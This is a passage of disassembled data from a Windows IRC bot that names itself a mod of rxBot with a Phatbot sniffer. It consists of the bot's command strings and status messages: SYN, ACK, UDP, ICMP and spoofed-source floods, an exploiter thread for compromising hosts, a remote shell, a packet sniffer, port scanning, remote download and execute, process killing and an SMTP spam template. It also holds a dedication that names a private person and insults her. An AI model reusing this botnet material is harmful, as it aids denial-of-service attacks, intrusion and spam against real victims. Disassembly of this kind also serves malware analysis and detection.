		db 6Eh,	64h, 2
		db    3
aMessageHasBeen	db '- Message has been sent successfuly',0
		align 4
unk_42D294	db  2Dh	; -		; DATA XREF: sub_401AC7+4D73o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aFailedToSendMe	db '- Failed to send message, error <%i>.',0
		align 4
unk_42D2C8	db  2Dh	; -		; DATA XREF: sub_401AC7+4D4Fo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aNetsendDoesNot	db '- NetSend does not work on Win9x systems',0
		align 10h
unk_42D300	db  2Dh	; -		; DATA XREF: sub_401AC7+4CADo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aSendingMessage	db '- Sending message %s times to %s using name %s',0
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_401AC7+4C90o
		align 4
unk_42D354	db  2Dh	; -		; DATA XREF: sub_401AC7+4C7Bo
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_10	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42D38C	db  2Dh	; -		; DATA XREF: sub_401AC7+4C0Co
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aSendingDPingsT	db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 4
unk_42D3D4	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_406628o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFlood_0	db '- Invalid flood time must be greater than 0.',0
		align 4
unk_42D40C	db  2Dh	; -		; DATA XREF: sub_401AC7+4B48o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aFailedToSta_11	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42D444	db  2Dh	; -		; DATA XREF: sub_401AC7+4ACEo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aSSFloodingSSFo	db '- %s %s flooding: (%s:%s) for %s seconds.',0
		align 4
aNormal		db 'Normal',0           ; DATA XREF: sub_401AC7+4ABEo
		align 10h
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_401AC7+4AB7o
unk_42D488	db  2Dh	; -		; DATA XREF: sub_401AC7+4A22o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFloodTy	db '- Invalid flood type specified.',0
		align 4
aAck		db 'ack',0              ; DATA XREF: sub_401AC7+49FBo
					; sub_4127E4+2F2o
aSyn		db 'syn',0              ; DATA XREF: sub_401AC7+49E3o
					; sub_4127E4+2D2o
aHcon		db 'hcon',0             ; DATA XREF: sub_401AC7+4985o
		align 4
aHttpcon	db 'httpcon',0          ; DATA XREF: sub_401AC7+4972o
unk_42D4CC	db  2Dh	; -		; DATA XREF: sub_401AC7+4923o
		db 3, 34h, 2
		db  65h	; e
		db 6Dh,	61h, 69h
		db  6Ch	; l
		db 2, 3, 2Dh
aMessageSentToS	db ' Message sent to %s.',0
		align 10h
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_401AC7+48AFo
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
aUsa		db 'usa',0              ; DATA XREF: sub_401AC7+47ADo
aTcpflood	db 'tcpflood',0         ; DATA XREF: sub_401AC7+4796o
		align 4
aPing_0		db 'ping',0             ; DATA XREF: sub_401AC7+4768o
		align 4
aPingflood	db 'pingflood',0        ; DATA XREF: sub_401AC7+4751o
		align 10h
aNs		db 'ns',0               ; DATA XREF: sub_401AC7+473Ao
		align 4
aNetsend	db 'netsend',0          ; DATA XREF: sub_401AC7+4723o
aPu1		db 'pu1',0              ; DATA XREF: sub_401AC7+46F5o
aUdpflood	db 'udpflood',0         ; DATA XREF: sub_401AC7+46DEo
		align 4
aAdvscan	db 'advscan',0          ; DATA XREF: sub_401AC7+46B0o
aPsc		db 'psc',0              ; DATA XREF: sub_401AC7+4699o
aPortscan	db 'portscan',0         ; DATA XREF: sub_401AC7+4682o
		align 4
aC_a		db 'c_a',0              ; DATA XREF: sub_401AC7+465Co
aC_action	db 'c_action',0         ; DATA XREF: sub_401AC7+4645o
		align 4
aC_pm		db 'c_pm',0             ; DATA XREF: sub_401AC7+462Eo
		align 4
aC_privmsg	db 'c_privmsg',0        ; DATA XREF: sub_401AC7+4617o
		align 4
aSc		db 'sc',0               ; DATA XREF: sub_401AC7+4600o
		align 4
aScan		db 'scan',0             ; DATA XREF: sub_401AC7+45E9o
		align 4
aRd		db 'rd',0               ; DATA XREF: sub_401AC7+45D2o
		align 4
aRedirect	db 'redirect',0         ; DATA XREF: sub_401AC7+45BBo
		align 4
aD1		db 'd1',0               ; DATA XREF: sub_401AC7+45A4o
		align 4
aDownload1	db 'download1',0        ; DATA XREF: sub_401AC7+458Do
		align 4
aWonk		db 'wonk',0             ; DATA XREF: sub_401AC7+4576o
		align 4
aPhatwonk	db 'phatwonk',0         ; DATA XREF: sub_401AC7+455Fo
		align 4
dword_42D5F8	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401AC7+4552o
aFailedToSta_12	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_42D634	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401AC7+44E0o
aFloodingSSFo_1	db '- Flooding: (%s:%s) for %s seconds.',0
aSkysyn		db 'skysyn',0           ; DATA XREF: sub_401AC7+4460o
		align 4
aSy1		db 'sy1',0              ; DATA XREF: sub_401AC7+4449o
aSynflood	db 'synflood',0         ; DATA XREF: sub_401AC7+4432o
		align 4
unk_42D67C	db  2Dh	; -		; DATA XREF: sub_401AC7+4425o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aFailedToSta_13	db '- Failed to start flood thread, error: <%d>.',0
		align 4
aWisdom_udp	db 'wisdom.udp',0       ; DATA XREF: sub_401AC7+434Eo
		align 4
aUsa_rm		db 'usa.rm',0           ; DATA XREF: sub_401AC7+4337o
		align 10h
aUsa_ack	db 'usa.ack',0          ; DATA XREF: sub_401AC7+4320o
aUsa_syn	db 'usa.syn',0          ; DATA XREF: sub_401AC7+4309o
aClone_0	db 'clone',0            ; DATA XREF: sub_401AC7+42DBo
		align 4
aIcmp		db 'icmp',0             ; DATA XREF: sub_401AC7+42B2o
		align 10h
aIcmpflood	db 'icmpflood',0        ; DATA XREF: sub_401AC7+429Bo
		align 4
aMv		db 'mv',0               ; DATA XREF: sub_401AC7+4284o
		align 10h
aRename		db 'rename',0           ; DATA XREF: sub_401AC7+426Do
		align 4
aExecute	db 'execute',0          ; DATA XREF: sub_401AC7+423Fo
aU11p		db 'u11p',0             ; DATA XREF: sub_401AC7+4228o
		align 4
aUpdate		db 'update',0           ; DATA XREF: sub_401AC7+4211o
		align 10h
aDe		db 'de',0               ; DATA XREF: sub_401AC7+41FAo
		align 4
aDelay		db 'delay',0            ; DATA XREF: sub_401AC7+41E3o
		align 4
aRp		db 'rp',0               ; DATA XREF: sub_401AC7+41CCo
		align 10h
aRepeat		db 'repeat',0           ; DATA XREF: sub_401AC7+41B5o
					; sub_401AC7+61F1o
		align 4
aTsn		db 'tsn',0              ; DATA XREF: sub_401AC7+419Eo
aTsunami	db 'tsunami',0          ; DATA XREF: sub_401AC7+4187o
aT3		db 't3',0               ; DATA XREF: sub_401AC7+4170o
		align 4
aTarga3		db 'targa3',0           ; DATA XREF: sub_401AC7+4159o
		align 10h
aC_p		db 'c_p',0              ; DATA XREF: sub_401AC7+4142o
aC_part		db 'c_part',0           ; DATA XREF: sub_401AC7+412Bo
		align 4
aC_j		db 'c_j',0              ; DATA XREF: sub_401AC7+4114o
aC_join		db 'c_join',0           ; DATA XREF: sub_401AC7+40FDo
		align 4
aC_n		db 'c_n',0              ; DATA XREF: sub_401AC7+40E6o
aC_nick		db 'c_nick',0           ; DATA XREF: sub_401AC7+40CFo
		align 4
aC_m		db 'c_m',0              ; DATA XREF: sub_401AC7+40B8o
aC_mode		db 'c_mode',0           ; DATA XREF: sub_401AC7+40A1o
		align 10h
aC_r		db 'c_r',0              ; DATA XREF: sub_401AC7+408Ao
aC_raw		db 'c_raw',0            ; DATA XREF: sub_401AC7+4073o
		align 4
aCy		db 'cy',0               ; DATA XREF: sub_401AC7+402Eo
		align 10h
aCycle		db 'cycle',0            ; DATA XREF: sub_401AC7+4017o
		align 4
aPrivmsg_0	db 'privmsg',0          ; DATA XREF: sub_401AC7+3FBBo
aAddalias	db 'addalias',0         ; DATA XREF: sub_401AC7+3F8Do
		align 4
aKl		db 'kl',0               ; DATA XREF: sub_401AC7+3F76o
		align 10h
aKilllog	db 'killlog',0          ; DATA XREF: sub_401AC7+3F5Fo
aGh		db 'gh',0               ; DATA XREF: sub_401AC7+3F36o
		align 4
aGethost	db 'gethost',0          ; DATA XREF: sub_401AC7+3F21o
unk_42D7C4	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_4059DDo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aCommandUnknown	db '- Command unknown.',0
unk_42D7E0	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_4059D3o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aNoMessageSpeci	db '- No message specified.',0
		align 4
aSend		db 'send',0             ; DATA XREF: sub_401AC7+3ECAo
					; sub_408CF8+596o
		align 4
unk_42D80C	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_405984o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListFailed	db '- User list failed.',0
		align 4
unk_42D82C	db  2Dh	; -		; DATA XREF: sub_401AC7+3EB3o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListComple	db '- User list completed.',0
aUser		db 'user',0             ; DATA XREF: sub_401AC7+3E29o
		align 4
unk_42D854	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_4058E3o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListFaile	db '- Share list failed.',0
		align 4
unk_42D874	db  2Dh	; -		; DATA XREF: sub_401AC7+3E12o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListCompl	db '- Share list completed.',0
		align 4
aShare		db 'share',0            ; DATA XREF: sub_401AC7+3DAFo
		align 10h
aPause		db 'pause',0            ; DATA XREF: sub_401AC7+3D5Bo
		align 4
aStop		db 'stop',0             ; DATA XREF: sub_401AC7+3D41o
		align 10h
unk_42D8B0	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_4057FBo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListFai	db '- Service list failed.',0
unk_42D8D0	db  2Dh	; -		; DATA XREF: sub_401AC7+3D2Ao
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListCom	db '- Service list completed.',0
		align 4
unk_42D8F4	db  2Dh	; -		; DATA XREF: sub_401AC7+3CA8o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aFailedToLoadAd	db '- Failed to load advapi32.dll or netapi32.dll.',0
dword_42D92C	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401AC7:loc_405740o
aNoThreadFound_	db '- No thread found.',0
		align 4
dword_42D94C	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401AC7+3C6Fo
aServerStopped_	db '- Server stopped. (%d thread(s) stopped.)',0
		align 4
dword_42D984	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401AC7+3C3Fo
aFailedToSta_14	db '- Failed to start server, error: <%d>.',0
		align 4
dword_42D9B8	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401AC7+3BF2o
aServerRunnin_0	db '- Server running on Port: 113.',0
		align 4
dword_42D9E4	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401AC7+3BE2o
aAlreadyRunning	db '- Already running.',0
		align 4
aIdent		db 'ident',0            ; DATA XREF: sub_401AC7+3BAFo
		align 4
unk_42DA0C	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_40566Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aNoPhatbotSniff	db '- No Phatbot sniffer thread found.',0
unk_42DA3C	db  2Dh	; -		; DATA XREF: sub_401AC7+3B9Ao
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aPhatbotSniffer	db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0
unk_42DA7C	db  2Dh	; -		; DATA XREF: sub_401AC7+3B6Ao
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFailedToSta_15	db '- Failed to start sniffer thread, error: <%d>.',0
unk_42DAB8	db  2Dh	; -		; DATA XREF: sub_401AC7+3AFBo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aPhatbotPacketS	db '- Phatbot packet sniffer active.',0
		align 4
unk_42DAE8	db  2Dh	; -		; DATA XREF: sub_401AC7+3A97o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aAlreadyRunni_0	db '- Already running.',0
aOn		db 'on',0               ; DATA XREF: sub_401AC7+3A77o
					; sub_401AC7+3BC6o
		align 4
aSniffer	db 'sniffer',0          ; DATA XREF: sub_401AC7+3A60o
aRf		db 'rf',0               ; DATA XREF: sub_401AC7+3A4Bo
		align 4
aReadfile	db 'readfile',0         ; DATA XREF: sub_401AC7+3A36o
		align 4
aCm		db 'cm',0               ; DATA XREF: sub_401AC7+3A21o
		align 4
aCmd		db 'cmd',0              ; DATA XREF: sub_401AC7+3A0Co
aMirccmd	db 'mirccmd',0          ; DATA XREF: sub_401AC7+39E2o
aLi		db 'li',0               ; DATA XREF: sub_401AC7+39CDo
		align 4
aList		db 'list',0             ; DATA XREF: sub_401AC7+39B8o
		align 10h
aDel		db 'del',0              ; DATA XREF: sub_401AC7+39A3o
aDelete		db 'delete',0           ; DATA XREF: sub_401AC7+398Eo
					; sub_401AC7+3D92o
		align 4
aKi		db 'ki',0               ; DATA XREF: sub_401AC7+3979o
		align 10h
aKp		db 'kp',0               ; DATA XREF: sub_401AC7+394Fo
		align 4
aKillproc	db 'killproc',0         ; DATA XREF: sub_401AC7+393Ao
		align 10h
aDn		db 'dn',0               ; DATA XREF: sub_401AC7+3925o
		align 4
aDns		db 'dns',0              ; DATA XREF: sub_401AC7+3910o
aSe		db 'se',0               ; DATA XREF: sub_401AC7+38FBo
		align 4
aPr		db 'pr',0               ; DATA XREF: sub_401AC7+38A7o
		align 10h
aPrefix		db 'prefix',0           ; DATA XREF: sub_401AC7+3892o
		align 4
aC_rn		db 'c_rn',0             ; DATA XREF: sub_401AC7+387Do
		align 10h
aC_rndnick	db 'c_rndnick',0        ; DATA XREF: sub_401AC7+3868o
		align 4
aC_q		db 'c_q',0              ; DATA XREF: sub_401AC7+3853o
aC_quit		db 'c_quit',0           ; DATA XREF: sub_401AC7+383Eo
		align 4
aKillthread	db 'killthread',0       ; DATA XREF: sub_401AC7+3814o
		align 4
aRaw		db 'raw',0              ; DATA XREF: sub_401AC7+37EAo
aPt		db 'pt',0               ; DATA XREF: sub_401AC7+37D5o
		align 4
unk_42DBAC	db  2Dh	; -		; DATA XREF: sub_401AC7+374Do
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aDisconnectingC	db '- disconnecting clones...',0
		align 4
aNickservRegist	db 'nickserv register %s %s',0 ; DATA XREF: sub_401AC7+36E9o
aRegister	db 'register',0         ; DATA XREF: sub_401AC7+36C0o
		align 4
aPrivmsgSS_0	db 'PRIVMSG %s :%s',0   ; DATA XREF: sub_401AC7+3667o
		align 4
aMix		db 'mix',0              ; DATA XREF: sub_401AC7+359Do
dword_42DC0C	dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
					; DATA XREF: sub_401AC7+3549o
					; sub_401AC7+3580o
		dd 0
dword_42DC24	dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h
					; DATA XREF: sub_401AC7+3512o
		dd 1
dword_42DC3C	dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
					; DATA XREF: sub_401AC7+34DBo
					; sub_401AC7+35EFo
aCtcp		db 'ctcp',0             ; DATA XREF: sub_401AC7+3489o
		align 4
aNoticeSS_0	db 'NOTICE %s :%s',0    ; DATA XREF: sub_401AC7+33F4o
					; sub_401AC7+3430o ...
		align 4
aNotice_0	db 'notice',0           ; DATA XREF: sub_401AC7+339Do
		align 10h
aMsg		db 'msg',0              ; DATA XREF: sub_401AC7+32B1o
aChgnick	db 'chgnick',0          ; DATA XREF: sub_401AC7+326Bo
aNick_0		db 'nick',0             ; DATA XREF: sub_401AC7+316Eo
					; sub_401AC7+376Co
		align 4
dword_42DC84	dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h
					; DATA XREF: sub_401AC7+3151o
		dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1
dword_42DCAC	dd 636364h		; DATA XREF: sub_401AC7+30D4o
dword_42DCB0	dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401AC7+2F8Do
dword_42DCBC	dd 4B43494Eh, 732520h	; DATA XREF: sub_401AC7+2F70o
					; sub_401AC7+31C8o ...
dword_42DCC4	dd 69257325h, 0		; DATA XREF: sub_401AC7+2F58o
					; sub_409DC3+4Eo ...
aPnick		db 'pnick',0            ; DATA XREF: sub_401AC7+2F18o
		align 4
aPartSS		db 'part %s %s',0       ; DATA XREF: sub_401AC7+2EFBo
					; sub_401AC7+2FE4o ...
		align 10h
aPartflood	db 'partflood',0        ; DATA XREF: sub_401AC7+2ED4o
		align 4
aPartS		db 'part %s',0          ; DATA XREF: sub_401AC7+2EB7o
aPart_0		db 'part',0             ; DATA XREF: sub_401AC7+2E95o
					; sub_401AC7+37C0o
		align 4
aJoinS		db 'join %s',0          ; DATA XREF: sub_401AC7+2E78o
					; sub_401AC7+2FBBo ...
aJoin		db 'join',0             ; DATA XREF: sub_401AC7+2E56o
					; sub_401AC7+3796o
		align 4
aModeSS		db 'mode %s %s',0       ; DATA XREF: sub_401AC7+2E39o
		align 4
aNoticeSS_1	db 'notice %s :%s',0    ; DATA XREF: sub_401AC7+2DD0o
		align 4
aNt		db 'nt',0               ; DATA XREF: sub_401AC7+2D84o
		align 4
dword_42DD2C	dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0
					; DATA XREF: sub_401AC7+2D67o
dword_42DD40	dd 7463h		; DATA XREF: sub_401AC7+2D1Bo
dword_42DD44	dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401AC7+2CFEo
					; sub_401AC7+3308o ...
dword_42DD54	dd 5Fh			; DATA XREF: sub_401AC7+2CD2o
					; sub_401AC7+2D3Bo ...
dword_42DD58	dd 6D70h		; DATA XREF: sub_401AC7+2CB2o
					; sub_401AC7+3FD2o
unk_42DD5C	db  2Dh	; -		; DATA XREF: sub_401AC7+2C80o
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aSClonesLoadedT	db '- %s clones loaded to %s:%s',0
		align 4
aFlood		db 'flood',0            ; DATA XREF: sub_401AC7+2C03o
		align 10h
aRinms		db 'rinms',0            ; DATA XREF: sub_401AC7+2BECo
		align 4
aReconnect_in_m	db 'reconnect.in.ms',0  ; DATA XREF: sub_401AC7+2BD7o
aRin		db 'rin',0              ; DATA XREF: sub_401AC7+2BC2o
aReconnect_in	db 'reconnect.in',0     ; DATA XREF: sub_401AC7+2BADo
		align 4
unk_42DDBC	db  2Dh	; -		; DATA XREF: sub_401AC7+2BA2o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFailedToStartE	db '- Failed to start exploiter thread, error: <%d>.',0
		align 4
unk_42DDFC	db  2Dh	; -		; DATA XREF: sub_401AC7+2B30o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aAttemptingToCo	db '- attempting to compromise %s...',0
		align 4
aExploit	db 'exploit',0          ; DATA XREF: sub_401AC7+2AB3o
unk_42DE34	db  2Dh	; -		; DATA XREF: sub_401AC7+2A95o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofIpSetToS_	db ' Spoof IP set to ',27h,'%s',27h,'.',0
		align 10h
unk_42DE60	db  2Dh	; -		; DATA XREF: sub_401AC7+2A6Bo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSIsAnInvalidIp	db ' ',27h,'%s',27h,' is an invalid IP address.',0
aD_D_D_		db '%d.%d.%d.*',0       ; DATA XREF: sub_401AC7+2A33o
		align 10h
unk_42DEA0	db  2Dh	; -		; DATA XREF: sub_401AC7+29DAo
					; sub_401AC7+2A4Bo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingCurren	db ' Spoofing currently set to ',27h,'%s',27h,'.',0
		align 4
aGet		db 'get',0              ; DATA XREF: sub_401AC7:loc_40447Fo
unk_42DEDC	db  2Dh	; -		; DATA XREF: sub_401AC7+2946o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aInvalidLoginSl	db 'Invalid login slot number: %d.',0
		align 4
unk_42DF08	db  2Dh	; -		; DATA XREF: sub_401AC7+293Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNoUserLoggedIn	db 'No user logged in at slot: %d.',0
		align 4
unk_42DF34	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_4043ADo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aThisModOfRxbot	db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir'
		db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress '
		db 'from Hell?) who I love so much.',0
		align 4
unk_42DFE4	db  2Dh	; -		; DATA XREF: sub_401AC7+28C3o
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFailedToSta_16	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42E024	db  2Dh	; -		; DATA XREF: sub_401AC7+283Fo
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aServerStartedO	db ' Server started on: %s:%d.',0
		align 10h
dword_42E050	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401AC7+27BDo
aFailedToSta_17	db '- Failed to start server thread, error: <%d>.',0
		align 4
dword_42E08C	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401AC7+274Eo
					; sub_4102C5+A8o
aServerStarte_0	db '- Server started on: %s:%d.',0
dword_42E0B4	dd 234032Dh, 636F7270h,	2D030273h, 0 ; DATA XREF: sub_401AC7+269Bo
dword_42E0C4	dd 636F7250h, 20737365h, 7473696Ch, 0 ;	DATA XREF: sub_401AC7+2696o
dword_42E0D4	dd 234032Dh, 6E69616Dh,	202D0302h, 6F636552h, 63656E6Eh
					; DATA XREF: sub_401AC7+2623o
		dd 676E6974h, 2Eh
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401AC7:loc_4040DDo
					; sub_401AC7:loc_408972o ...
		align 4
dword_42E108	dd 234032Dh, 6E69616Dh,	202D0302h, 63736944h, 656E6E6Fh
					; DATA XREF: sub_401AC7+2601o
		dd 6E697463h, 2E67h
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401AC7:loc_4040BBo
		align 4
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401AC7:loc_4040A5o
					; sub_401AC7+6C8Ao
		align 4
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401AC7+25CCo
		align 4
unk_42E158	db  2Dh	; -		; DATA XREF: sub_401AC7+2580o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aStatusReady_Bo	db 'Status: Ready. Bot Uptime: %s.',0
		align 4
dword_42E184	dd 234032Dh, 6E69616Dh,	202D0302h, 20746F42h, 203A4449h
					; DATA XREF: sub_401AC7+2542o
		dd 2E7325h
unk_42E19C	db  2Dh	; -		; DATA XREF: sub_401AC7+2524o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToStartL	db '- Failed to start list thread, error: <%d>.',0
		align 4
dword_42E1D8	dd 234032Dh, 65726874h,	2736461h, 4C202D03h, 20747369h
					; DATA XREF: sub_401AC7+24AFo
		dd 65726874h, 2E736461h, 0
dword_42E1F8	dd 627573h		; DATA XREF: sub_401AC7+2489o
dword_42E1FC	dd 234032Dh, 6E69616Dh,	202D0302h, 61696C41h, 696C2073h
					; DATA XREF: sub_401AC7+2437o
		dd 2E7473h
unk_42E214	db  2Dh	; -		; DATA XREF: sub_401AC7+241Co
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedToSta_18	db '- Failed to start listing thread, error: <%d>.',0
dword_42E24C	dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh
					; DATA XREF: sub_401AC7+238Fo
		dd 2E676Fh
dword_42E264	dd 7325h		; DATA XREF: sub_401AC7+235Co
					; sub_401AC7+3CFFo ...
dword_42E268	dd 234032Dh, 6E69616Dh,	202D0302h, 7774654Eh, 206B726Fh
					; DATA XREF: sub_401AC7+230Bo
		dd 6F666E49h, 2Eh
dword_42E284	dd 234032Dh, 6E69616Dh,	202D0302h, 74737953h, 49206D65h
					; DATA XREF: sub_401AC7+22DCo
		dd 2E6F666Eh, 0
dword_42E2A0	dd 234032Dh, 6E69616Dh,	202D0302h, 6F6D6552h, 676E6976h
					; DATA XREF: sub_401AC7+2287o
		dd 746F4220h, 2Eh
unk_42E2BC	db  2Dh	; -		; DATA XREF: sub_401AC7+226Bo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToSta_19	db ' Failed to start listing thread, error: <%d>.',0
		align 4
dword_42E2F8	dd 234032Dh, 636F7270h,	2D030273h, 6F725020h, 73656363h
					; DATA XREF: sub_401AC7+21F6o
		dd 696C2073h, 2E7473h
aFull		db 'full',0             ; DATA XREF: sub_401AC7+21D6o
		align 4
unk_42E31C	db  2Dh	; -		; DATA XREF: sub_401AC7+2174o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aAlreadyRunni_1	db ' Already running.',0
		align 4
dword_42E33C	dd 234032Dh, 656B6463h,	3027379h ; DATA	XREF: sub_401AC7+214Bo
aSearchComplete	db '- Search completed.',0
dword_42E35C	dd 234032Dh, 6E69616Dh,	202D0302h, 69747055h, 203A656Dh
					; DATA XREF: sub_401AC7+20FCo
		dd 2E7325h
unk_42E374	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_403B34o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellRea	db '- Remote shell ready.',0
		align 4
unk_42E394	db  2Dh	; -		; DATA XREF: sub_401AC7+2063o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldnTOpenRem	db '- Couldn',27h,'t open remote shell.',0
		align 4
unk_42E3BC	db  2Dh	; -		; DATA XREF: sub_401AC7+2044o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellAlr	db '- Remote shell already running.',0
		align 4
dword_42E3E8	dd 234032Dh, 6E69616Dh,	202D0302h, 20746547h, 70696C43h
					; DATA XREF: sub_401AC7+202Eo
		dd 72616F62h, 2E64h
dword_42E404	dd 234032Dh, 70696C63h,	72616F62h, 61642064h, 3026174h
					; DATA XREF: sub_401AC7+2000o
